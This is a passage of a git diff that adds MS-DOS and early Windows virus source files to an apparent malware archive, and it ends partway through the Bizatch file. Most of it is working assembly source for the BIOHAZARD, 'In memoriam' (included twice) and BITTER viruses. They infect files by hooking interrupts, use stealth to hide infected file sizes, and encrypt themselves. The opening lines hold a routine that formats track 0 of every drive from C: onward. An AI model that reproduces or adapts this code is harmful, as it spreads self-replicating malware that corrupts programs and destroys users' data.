+MULTIPLEX: + mov al,CNTR ;cOUNTER IS THE DRIVE TO KILL + call ALTER ;gO AND KILL THE DRIVE + ;25 IS DRIVE z: + cmp CNTR,25 ;iS (CNTR) 25 ? + je exit ;gO ON WITH INFECTION + inc CNTR ;aDD ONE TO (CNTR) + loop MULTIPLEX ;lOOP BACK UP TO KILL NEXT DRIVE + +ALTER: + mov ah,05 ;fORMAT tRACK + mov ch,0 ;fORMAT TRACK 0 + mov dh,0 ;hEAD 0 + mov dl,CNTR ;fORMAT FOR DRIVE IN (CNTR) + int 13H ;cALL rwts + ret ;rETURN UP FOR NEXT DRIVE + +movdi_it: + mov di,100h ; di = 100h + repne movsb + jmp lastshit ; atlast, soon the end + db ' Fuck this, Later C:!!! ' ; Love in eternality! + +lastshit: + mov bp,100h ; bp equ 100h + jmp bp ; jmp to bp (SOF) + + +vend equ $ ; end of virus +COUNT_ dw 0 +CNTR db 2 ; dRIVE TO NUKE FROM (c:+++) + +virus ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.bio2.asm b/MSDOS/Virus.MSDOS.Unknown.bio2.asm new file mode 100644 index 00000000..1038043a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bio2.asm @@ -0,0 +1,317 @@ +virus segment + assume cs:virus,ds:virus,es:nothing + + org 100h +start: db 0E9h,02,00,90h,90h ; Jmp to vstart + +vstart equ $ + call code_start ; call codie_startie +code_start: + pop si + sub si,offset code_start ; so we can use the lea command etc + jmp code_continue + + db '!BIOHAZARD!' ; Lil' poem (?) + db 'U Found ME!' ; of mine + +code_continue: + mov bp,si ; Now, put bp in si instead so bp's used + jmp load ; Jmp and go resident + +old_21 dd ? ; Old int21 interrupt saved here + +new_21: ; Our own, new one int21 + cmp ax,4b00h ; Is a file being executed + je exec1 ; If so, damn it! INFECT! + +dir_thang: + cmp ah,11h ; Find first + je hide_size ; Use stealth + cmp ah,12h ; Find next + je hide_size ; Use stealth + cmp ax,3030h ; Another copy trying to go resident? + jne do_old ; If not, do the old int21 thang + mov bx,3030h ; Show that we're already resident +do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21 +exec1: jmp exec ; Try to infect +do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old + ret ; But return back + +hide_size: + pushf + push cs + call do_dir ; get FCB (current) + cmp al,00h ; Is DIR being used (?) + jz undocumented_get_FCB ; If so, go on + jmp dir_error ; If not, get the fuck + ; outa this place man +undocumented_get_FCB: + push ax ; push + push bx ; push + push es ; push (gaak! no pops) + mov ah,51h ; get FCB (location) + int 21h ; figure it out + mov es,bx ; get FCB (info) + cmp bx,es:[16h] ; check it + je fix_it_up ; if so, move on + jmp not_inf + +fix_it_up: + mov bx,dx ; fixup + mov al,[bx] ; some + push ax ; shit + mov ah,2fh ; get the DTA + int 21h ; yeah, you do that + pop ax ; atlast, pop me babe + inc al ; check FCB (extended) + jz add_it ; ok, move on + jmp normal_fcb ; jmp normal_fcb + +add_it: + add bx,7h ; yes, add it.. go ahead +normal_fcb: + mov ax,es:[bx+17h] + and ax,1fh + xor al,01h ; are the file's seconds + jz go_on_and_do_it_strong ; equal to "2"? + jmp not_inf ; If so, outa here + +go_on_and_do_it_strong: + and byte ptr es:[bx+17h],0e0h ; subtract the size + sub es:[bx+1dh],(vend-vstart) ; how much? (*.*) + sbb es:[bx+1fh],ax ; yet another stealthed +not_inf:pop es ; we will.. + pop bx ; we will.. + pop ax ; pop you! pop you! + +dir_error: + iret ; return to the one who + ; called this thang +exec: + push ax ; push the stuff needed + push bx ; (as normally) + push cx + push dx + push di + push si + push ds + push es + +infect: + mov ax,3d02h ; Open the file being + int 21h ; executed do that! + jc fuckitall ; If error, get the fuck + ; out! + + xchg ax,bx ; or.. mov bx,ax + + push ds ; pusha + push cs ; push + pop ds ; pop! + + mov ah,3fh ; Read from file + mov dx,(buffer-vstart) ; put in our buffer + mov cx,5h ; how much to read + int 21h ; do that + jc fuckitall ; If error, fuck it! + + + cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE? + je fuckitall ; If so, outa here.. + + cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form? + je fuckitall ; (can be MZ or ZM) + ; If so, outa here + cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it + je fuckitall ; infect? If so, + ; outa here + jmp next ; Move on.. + +fuckitall: + jmp homey2 ; Something screwed, + ; outa dis thang.. +next: + + mov ax,5700h ; Get date/time + int 21h ; int me baaaabe! + + mov word ptr cs:[(old_time-vstart)],cx ; save time + mov word ptr cs:[(old_date-vstart)],dx ; save date + + mov ax,4202h ; ftpr to end + mov cx,0 ; get ftpr (filesize) + cwd ; or.. xor dx,dx + int 21h + jc fuckitall ; if error, fuck it! + mov cx,ax ; mov cx to ax + sub cx,3 ; for the jmp + jmp save_rest_of_len + db 'BIOHAZARD VIRUS - INV. EVIL ALTER - THE WРТ$ИL!' + +save_rest_of_len: + mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length + + mov ah,40h ; write to file + mov cx,(vend-vstart) ; the virus + cwd ; from start + int 21h ; atlast the fun part + jnc fpointer ; no error(s), go on + jc homey ; fuck it! + +fpointer: + mov ax,4200h ; move file pointer + mov cx,0 ; to the beginning + cwd + int 21h + + + mov ah,40h ; write the JMP the + mov cx, 5 ; the file (5 bytes) + mov dx,(jump_add-vstart) ; offset jump thang + int 21h + + jc homey ; if error, fuck it! + + mov ax,5701h ; restore old + mov word ptr cx,cs:[(old_time-vstart)] ; date/time + mov word ptr dx,cs:[(old_date-vstart)] + + and cl,0e0H ; chance the file's + inc cl ; seconds to "2" for + int 21h ; stealth "marker" + + + mov ah,3eh ; close thisone + int 21h + + +homey: jmp homey2 ; outa here + db ' HEY HEY TO ALL A/V LAMERS!! HA!' ; dedication note + +homey2: pop ds ; pop + pop es ; pop + pop ds ; pop + pop si ; pop + pop di ; pop + pop dx ; pop + pop cx ; pop + pop bx ; pop + pop ax ; new virus-name + ; popcorn virus? + jmp dword ptr cs:[(old_21-vstart)] ; heading for old + ; int21 +old_date dw 0 ; date/time +old_time dw 0 ; saving place + + +buffer: db 0cdh,20h,00 ; our lil' buffer +buffer2 db 0,0 ; plus these two +jump_add: db 0E9h,00,00,90h,90h; ; what we put instead + ; of org. jmp +exit2: jmp exit ; get outa here + +load: mov ax,3030h ; Are we already in + int 21h ; this users memory + cmp bx,3030h ; well, check it! + je exit2 ; if so, outa here + + +dec_here: + push cs ; push + pop ds ; pop + + mov ah,4ah ; req. very much mem + mov bx,0ffffh ; ret's largest size + int 21h + + mov ah,4ah ; ok, so now we + sub bx,(vend-vstart+15)/16+1 ; subtract the size of + jnc intme ; of our virus. If no + jmp exit2 ; error go on, else + ; fuck it +intme: + int 21h ; int me! int me! + + mov ah,48h + mov bx,(vend-vstart+15)/16 ; req. last pages + int 21h ; allocate to the virus + jnc decme ; no error, go on + jmp exit2 ; les get outa dis place + +decme: + dec ax ; oh? a dec, no push/pop + ; how glad i am :) + push es ; blurk! yet another push + + mov es,ax ; set es to ax + jmp dos_own ; carry on comrade + db ' Greets to B-real!/IR ' ; greetings to our + ; latest member, a +dos_own: ; friend of mine + mov byte ptr es:[0],'Z' ; this memory will + mov word ptr es:[1],8 ; have DOS as it's + ; owner + inc ax ; opposite of dec, eh? + ; yet another new-commer + lea si,[bp+offset vstart] ; copy to memory + mov di,0 ; (new block) xor di,di + jmp copy_rest ; go on + db ' Well, The WРТz is back, and he has an attitude!' ; lil' + +copy_rest: + mov es,ax ; es as ax + mov cx,(vend-vstart+5)/2 ; the whole thing + cld ; bytes, clr direction + rep movsw + jmp make_res ; now, make it resident + db 'Quit reading the code, yes, this is a fucking virus!'; thang + +make_res: + xor ax,ax ; atlast! + mov ds,ax ; put all shit to memory + push ds ; don't push me around :) + lds ax,ds:[21h*4] ; vectorswapping + jmp swap_sect ; (manually!) + db ' Catch me, Dare ya!' ; by Snoop 'n Dre. + +swap_sect: + mov word ptr es:[old_21-vstart],ax ; where's our old int21 + mov word ptr es:[old_21-vstart+2],ds ; stored? well see here + pop ds + mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus + mov ds:[21h*4+2],es ; instead of old21 + + push cs ; no cmt. + pop ds ; to much 'bout 'em + ; today, eh? :) + +exit: + push cs ; no cmt. + pop es ; see above + + mov cx,5 ; five bytes + jmp copyback ; keep on moving.. + db ' The WРТ$ИL!!!!' ; To the girl i love +copyback: + mov si,offset buffer ; copy back org. jmp + add si,bp ; and run the org. proggy + jmp movdi_it ; yeah, les do that + db ' Are you done yet??? ' ; Lisa, the one and only + +movdi_it: + mov di,100h ; di = 100h + repne movsb + jmp lastshit ; atlast, soon the end + db ' Fuck this, Later C:!!! ' ; Love in eternality! + +lastshit: + mov bp,100h ; bp equ 100h + jmp bp ; jmp to bp (SOF) + + +vend equ $ ; end of virus +COUNT_ dw 0 +CNTR db 2 ; dRIVE TO NUKE FROM (c:+++) + +virus ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.bird.a86 b/MSDOS/Virus.MSDOS.Unknown.bird.a86 new file mode 100644 index 00000000..15cf81f7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bird.a86 @@ -0,0 +1,295 @@ +; +; In memoriam Virus by John Tardy / Trident +; + + Org 0h + +Main: Push Ax + call Get_Ofs +Get_Ofs: pop Bp + sub Bp,Get_Ofs + Mov Ax,0DEADh + Int 21h + Cmp Ax,0AAAAh + Je Installed + + mov ax,3521h + int 21h + mov word ptr cs:old21[bp],bx + mov word ptr cs:old21[bp][2],es + + mov ax,cs ;adjust memory-size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],'Z' + jne installed + mov ax,word ptr ds:[0003] + sub ax,ParLen + jb installed + mov word ptr ds:[0003],ax + sub word ptr ds:[0012h],ParLen + lea si,main[bp] + mov di,0 + mov es,ds:[12h] + mov ds,cs + mov cx,virlen + cld + rep movsb + mov ax,2521h + mov ds,es + mov dx,offset new21 + int 21h +Installed: Mov Di,100h + Lea Si,Org_Prg[Bp] + Push Cs + Push Cs + Pop Ds + Pop Es + Cld + Movsw + Movsb + Mov Bx,100h + Pop Ax + Push Bx + Ret + +Old21 dd 0 + +New21: cmp ax,0deadh + jne chkfunc + mov ax,0aaaah + iret +chkfunc: + cmp ah,11h + je findFCBst + cmp ah,12h + je findfcbst + cmp ah,4eh + je findst + cmp ah,4fh + je findst + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + cmp ah,3dh + je infectHan + cmp ax,4b00h + je infectHan + cmp ah,41h + je infectHan + cmp ah,43h + je infectHan + cmp ah,56h + je infectHan + cmp ah,0fh + je infectFCB + cmp ah,23h + je infectFCB + jmp endint + +findfcbst: jmp findfcb +findst: jmp find + +InfectFCB: mov si,dx + inc si + push cs + pop es + lea di,fnam + mov cx,8 + rep movsb + mov cx,3 + inc di + rep movsb + lea dx,fnam + push cs + pop ds + +InfectHan: mov si,dx + mov cx,100h + cld +findpnt: lodsb + cmp al,'.' + je chkcom + loop findpnt + jmp endi +chkcom: lodsw + or ax,2020h + cmp ax,'oc' + jne endi + lodsb + or al,20h + cmp al,'m' + jne endi + jmp doit +endi: jmp endint +doit: push dx + push ds + mov ax,4300h + pushf + call dword ptr cs:[old21] + mov cs:fatr,cx + mov ax,4301h + xor cx,cx + pushf + call dword ptr cs:[old21] + mov ax,3d02h + pushf + call dword ptr cs:[old21] + jnc getdate + jmp error +getdate: xchg ax,bx + mov ax,5700h + pushf + call dword ptr cs:[old21] + mov cs:fdat,cx + mov cs:fdat[2],dx + and cx,1fh + cmp cx,1fh + jne chkexe + jmp done +chkexe: mov ah,3fh + push cs + pop ds + lea dx,Org_prg + mov cx,3 + pushf + call dword ptr cs:[old21] + cmp word ptr cs:Org_prg[0],'ZM' + je close + cmp word ptr cs:Org_prg[0],'MZ' + je close + + Mov ax,4202h + xor cx,cx + xor dx,dx + pushf + call dword ptr cs:[old21] + sub ax,3 + mov cs:jump[1],ax + + mov ah,40h + push cs + pop ds + lea dx,main + mov cx,virlen + pushf + call dword cs:[old21] + mov ax,4200h + xor cx,cx + xor dx,dx + mov ah,40h + lea dx,jump + mov cx,3 + pushf + call dword cs:[old21] + + or cs:fdat,01fh + +close: mov ax,5701h + mov cx,cs:fdat + mov dx,cs:fdat[2] + pushf + call dword ptr cs:[old21] +done: mov ah,3eh + pushf + call dword ptr cs:[old21] + pop ds + pop dx + push dx + push ds + mov ax,4301h + mov cx,fatr + pushf + call dword ptr cs:[old21] + +error: pop ds + pop dx + +endint: pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[old21] + +getdta: + pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],Virlen ; adjust file-size + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLen + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + +dos: pushf + call dword ptr cs:[old21] + ret + +Org_prg dw 0cd90h + db 21h + +fnam db 8 dup (0) + db '.' + db 3 dup (0) + db 0 +fatr dw 0 +fdat dw 0,0 + + +jump db 0e9h,0,0 + + Db 'In memoriam 14-10-92' + +VirLen Equ $-Main +ParLen Equ (VirLen/10h)+10h + + + + + +; ───────────────────────────────────────────────────────────────────────── +; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <─────────────── +; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <─────────── +; ───────────────────────────────────────────────────────────────────────── diff --git a/MSDOS/Virus.MSDOS.Unknown.bird.asm b/MSDOS/Virus.MSDOS.Unknown.bird.asm new file mode 100644 index 00000000..15cf81f7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bird.asm @@ -0,0 +1,295 @@ +; +; In memoriam Virus by John Tardy / Trident +; + + Org 0h + +Main: Push Ax + call Get_Ofs +Get_Ofs: pop Bp + sub Bp,Get_Ofs + Mov Ax,0DEADh + Int 21h + Cmp Ax,0AAAAh + Je Installed + + mov ax,3521h + int 21h + mov word ptr cs:old21[bp],bx + mov word ptr cs:old21[bp][2],es + + mov ax,cs ;adjust memory-size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],'Z' + jne installed + mov ax,word ptr ds:[0003] + sub ax,ParLen + jb installed + mov word ptr ds:[0003],ax + sub word ptr ds:[0012h],ParLen + lea si,main[bp] + mov di,0 + mov es,ds:[12h] + mov ds,cs + mov cx,virlen + cld + rep movsb + mov ax,2521h + mov ds,es + mov dx,offset new21 + int 21h +Installed: Mov Di,100h + Lea Si,Org_Prg[Bp] + Push Cs + Push Cs + Pop Ds + Pop Es + Cld + Movsw + Movsb + Mov Bx,100h + Pop Ax + Push Bx + Ret + +Old21 dd 0 + +New21: cmp ax,0deadh + jne chkfunc + mov ax,0aaaah + iret +chkfunc: + cmp ah,11h + je findFCBst + cmp ah,12h + je findfcbst + cmp ah,4eh + je findst + cmp ah,4fh + je findst + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + cmp ah,3dh + je infectHan + cmp ax,4b00h + je infectHan + cmp ah,41h + je infectHan + cmp ah,43h + je infectHan + cmp ah,56h + je infectHan + cmp ah,0fh + je infectFCB + cmp ah,23h + je infectFCB + jmp endint + +findfcbst: jmp findfcb +findst: jmp find + +InfectFCB: mov si,dx + inc si + push cs + pop es + lea di,fnam + mov cx,8 + rep movsb + mov cx,3 + inc di + rep movsb + lea dx,fnam + push cs + pop ds + +InfectHan: mov si,dx + mov cx,100h + cld +findpnt: lodsb + cmp al,'.' + je chkcom + loop findpnt + jmp endi +chkcom: lodsw + or ax,2020h + cmp ax,'oc' + jne endi + lodsb + or al,20h + cmp al,'m' + jne endi + jmp doit +endi: jmp endint +doit: push dx + push ds + mov ax,4300h + pushf + call dword ptr cs:[old21] + mov cs:fatr,cx + mov ax,4301h + xor cx,cx + pushf + call dword ptr cs:[old21] + mov ax,3d02h + pushf + call dword ptr cs:[old21] + jnc getdate + jmp error +getdate: xchg ax,bx + mov ax,5700h + pushf + call dword ptr cs:[old21] + mov cs:fdat,cx + mov cs:fdat[2],dx + and cx,1fh + cmp cx,1fh + jne chkexe + jmp done +chkexe: mov ah,3fh + push cs + pop ds + lea dx,Org_prg + mov cx,3 + pushf + call dword ptr cs:[old21] + cmp word ptr cs:Org_prg[0],'ZM' + je close + cmp word ptr cs:Org_prg[0],'MZ' + je close + + Mov ax,4202h + xor cx,cx + xor dx,dx + pushf + call dword ptr cs:[old21] + sub ax,3 + mov cs:jump[1],ax + + mov ah,40h + push cs + pop ds + lea dx,main + mov cx,virlen + pushf + call dword cs:[old21] + mov ax,4200h + xor cx,cx + xor dx,dx + mov ah,40h + lea dx,jump + mov cx,3 + pushf + call dword cs:[old21] + + or cs:fdat,01fh + +close: mov ax,5701h + mov cx,cs:fdat + mov dx,cs:fdat[2] + pushf + call dword ptr cs:[old21] +done: mov ah,3eh + pushf + call dword ptr cs:[old21] + pop ds + pop dx + push dx + push ds + mov ax,4301h + mov cx,fatr + pushf + call dword ptr cs:[old21] + +error: pop ds + pop dx + +endint: pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[old21] + +getdta: + pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],Virlen ; adjust file-size + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLen + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + +dos: pushf + call dword ptr cs:[old21] + ret + +Org_prg dw 0cd90h + db 21h + +fnam db 8 dup (0) + db '.' + db 3 dup (0) + db 0 +fatr dw 0 +fdat dw 0,0 + + +jump db 0e9h,0,0 + + Db 'In memoriam 14-10-92' + +VirLen Equ $-Main +ParLen Equ (VirLen/10h)+10h + + + + + +; ───────────────────────────────────────────────────────────────────────── +; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <─────────────── +; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <─────────── +; ───────────────────────────────────────────────────────────────────────── diff --git a/MSDOS/Virus.MSDOS.Unknown.bitter.asm b/MSDOS/Virus.MSDOS.Unknown.bitter.asm new file mode 100644 index 00000000..8e0fd102 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bitter.asm @@ -0,0 +1,347 @@ +; Virus generated by G¤ 0.70с +; G¤ written by Dark Angel of Phalcon/Skism + +; File: BITTER.ASM +; Bitter by Ender + +checkres1 = 'DA' +checkres2 = 'PS' +id = 'EF' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK filename.OBJ +; EXE2BIN filename.EXE filename.COM + org 0000h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h ; add word ptr [bx], xxxx +xorpatch db 0007h +encryptvalue dw 0000h + inc bx + inc bx + loop encrypt_loop +endencrypt: + call next +next: + pop bp + sub bp, offset next + + push es + push ds + + mov ax, checkres1 ; Installation check + int 0021h + cmp ax, checkres2 ; Already installed? + jz done_install + + mov ax, ds + dec ax + mov ds, ax + sub word ptr ds:[0003h], ((endheap-start+1023)/1024)*64 + sub word ptr ds:[0012h], ((endheap-start+1023)/1024)*64 + mov es, word ptr ds:[0012h] + + push cs + pop ds + xor di, di + mov cx, (heap-start)/2+1 ; Bytes to move + mov si, bp ; lea si,[bp+offset start] + rep movsw + + xor ax, ax + mov ds, ax + sub word ptr ds:[0413h], (endheap-start+1023)/1024 + push ds + lds ax, ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory + +done_install: + pop ds + pop es + cmp sp, id + je restore_EXE +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsw + movsb + ret + +restore_EXE: + mov ax, ds + add ax, 0010h + add cs:[bp+word ptr origCSIP+2], ax + add ax, cs:[bp+word ptr origSPSS] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS+2] + sti + db 00EAh +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +INT24: + mov al, 0003h + iret + +int21: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp ax, 4B00h ; execute? + jz execute +return: + jmp exitint21 +execute: + mov word ptr cs:filename, dx + mov word ptr cs:filename+2, ds + mov ax, 3524h + int 0021h + push es + push bx + + mov ax, 2524h + lea dx, INT24 ; ASSumes ds=cs + int 0021h + + push cs + pop es + + + mov bx, dx + cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM + jz return ; Exit if so + + mov ax, 4300h + lds dx, cs:filename + int 0021h + jc return + push cx + push ds + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + lds dx, cs:filename + mov ax, 3D02h + int 0021h + mov bx, ax ; xchg ax,bx is more efficient + + push cs + pop ds + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov ah, 003Fh + mov dx, offset readbuffer + mov cx, 001Ah + int 0021h + + mov ax, 4202h + xor cx, cx + cwd + int 0021h + + cmp word ptr [offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + cmp ax, (heap-start) ; check if too small + jb jmp_close ; Exit if so + + mov di, offset old3 + mov si, offset readbuffer + movsw + movsb + + mov si, ax ; save entry point + add si, 0100h + mov cx, 0003h + sub ax, cx + mov word ptr [offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea si, readbuffer+14h + lea di, origCSIP + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [readbuffer+16h], ax ; Para disp CS in module. + mov word ptr [readbuffer+10h], id ; Initial SP + mov word ptr [readbuffer+14h], dx ; IP Offset + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [readbuffer+2], ax ; the EXE header. + mov word ptr [readbuffer+4], dx ; Fix-up the file size in + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + +get_encrypt_value: + mov ah, 002Ch ; Get current time + int 0021h + + or dx, dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[patchstart+1], si + mov word ptr ds:[encryptvalue], dx + + mov di, offset encryptbuffer + mov si, offset ENCRYPT + mov cx, (heap-encrypt)/2 + push si + rep movsw ; copy virus to buffer + + mov ax, offset endencrypt-encrypt+encryptbuffer + mov word ptr ds:[patchstart+1], ax + pop si + push offset endencrypt + mov byte ptr [offset endencrypt], 00C3h ; retn + xor byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [offset endencrypt] + + xor byte ptr [offset xorpatch], 0028h + + mov ah, 0040h + mov cx, heap-encrypt + mov dx, offset encryptbuffer + int 0021h + + mov ax, 4200h + xor cx, cx + cwd + int 0021h + + + pop cx + mov ah, 0040h + mov dx, offset readbuffer + int 0021h + + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop ds + pop cx ; attributes from stack + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + +exitint21: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + + db 00EAh ; return to original handler +oldint21 dd ? + +virusname db 'I am quite BITTER!',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +filename dd ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.bizatch.asm b/MSDOS/Virus.MSDOS.Unknown.bizatch.asm new file mode 100644 index 00000000..23c29e47 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bizatch.asm @@ -0,0 +1,814 @@ +; +; Bizatch by Quantum / VLAD +; +; Welcome to the world's first Windows 95 virus. +; +; It is a great honour for me to have written this virus as this +; is ground breaking stuff. Windows 95 is a platform that was +; designed to be uninfectable, but Microsoft did not reckon with +; the awesome power of vlad. As such, this virus will be used as +; a minor information service for vlad. On the 31st of every month +; every infected exe will display a message box listing the members +; of the vlad possie from the old skool to the new. +; +; The following is a host program kindly contributed by Borland International. +; This example will put up a window and beep when the right mouse button +; is pressed. When the left mouse button is pressed, it will increment +; the displayed 32-bit counter. +; +; Everything needed to assemble this code has been put in the file +; BIZATCH.ZIP +; +; A tutorial on Win95 virii is likely to be included in this issue of vlad. +; +;----------------------------------------------------------------------------- +; You might wanna skip over this and head straight for the virus code +; which is at line 350 +; +.386 +locals +jumps +.model flat,STDCALL +include win32.inc ; some 32-bit constants and structures + +L equ + +; +; Define the external functions we will be linking to +; +extrn BeginPaint:PROC +extrn CreateWindowExA:PROC +extrn DefWindowProcA:PROC +extrn DispatchMessageA:PROC +extrn EndPaint:PROC +extrn ExitProcess:PROC +extrn FindWindowA:PROC +extrn GetMessageA:PROC +extrn GetModuleHandleA:PROC +extrn GetStockObject:PROC +extrn InvalidateRect:PROC +extrn LoadCursorA:PROC +extrn LoadIconA:PROC +extrn MessageBeep:PROC +extrn PostQuitMessage:PROC +extrn RegisterClassA:PROC +extrn ShowWindow:PROC +extrn SetWindowPos:PROC +extrn TextOutA:PROC +extrn TranslateMessage:PROC +extrn UpdateWindow:PROC + +; +; for Unicode support, Win32 remaps some functions to either the Ansi or +; Wide char versions. We will assume Ansi for this example. +; +CreateWindowEx equ +DefWindowProc equ +DispatchMessage equ +FindWindow equ +GetMessage equ +GetModuleHandle equ +LoadCursor equ +LoadIcon equ +MessageBox equ +RegisterClass equ +TextOut equ + +.data +copyright db 'VLAD inc - 1995, peace through superior virus power..',0 + +newhwnd dd 0 +lppaint PAINTSTRUCT +msg MSGSTRUCT +wc WNDCLASS +mbx_count dd 0 + +hInst dd 0 + +szTitleName db 'Bizatch by Quantum / VLAD activated' +zero db 0 +szAlternate db 'more than once',0 +szClassName db 'ASMCLASS32',0 +szPaint db 'Left Button pressed:' +s_num db '00000000h times.',0 +MSG_L EQU ($-offset szPaint)-1 + +.code +;----------------------------------------------------------------------------- +; +; This is where control is usually received from the loader. +; +start: + + push L 0 + call GetModuleHandle ; get hmod (in eax) + mov [hInst], eax ; hInstance is same as HMODULE + ; in the Win32 world + + push L 0 + push offset szClassName + call FindWindow + or eax,eax + jz reg_class + + mov [zero], ' ' ; space to modify title string + +reg_class: +; +; initialize the WndClass structure +; + mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS + mov [wc.clsLpfnWndProc], offset WndProc + mov [wc.clsCbClsExtra], 0 + mov [wc.clsCbWndExtra], 0 + + mov eax, [hInst] + mov [wc.clsHInstance], eax + + push L IDI_APPLICATION + push L 0 + call LoadIcon + mov [wc.clsHIcon], eax + + push L IDC_ARROW + push L 0 + call LoadCursor + mov [wc.clsHCursor], eax + + mov [wc.clsHbrBackground], COLOR_WINDOW + 1 + mov dword ptr [wc.clsLpszMenuName], 0 + mov dword ptr [wc.clsLpszClassName], offset szClassName + + push offset wc + call RegisterClass + + push L 0 ; lpParam + push [hInst] ; hInstance + push L 0 ; menu + push L 0 ; parent hwnd + push L CW_USEDEFAULT ; height + push L CW_USEDEFAULT ; width + push L CW_USEDEFAULT ; y + push L CW_USEDEFAULT ; x + push L WS_OVERLAPPEDWINDOW ; Style + push offset szTitleName ; Title string + push offset szClassName ; Class name + push L 0 ; extra style + + call 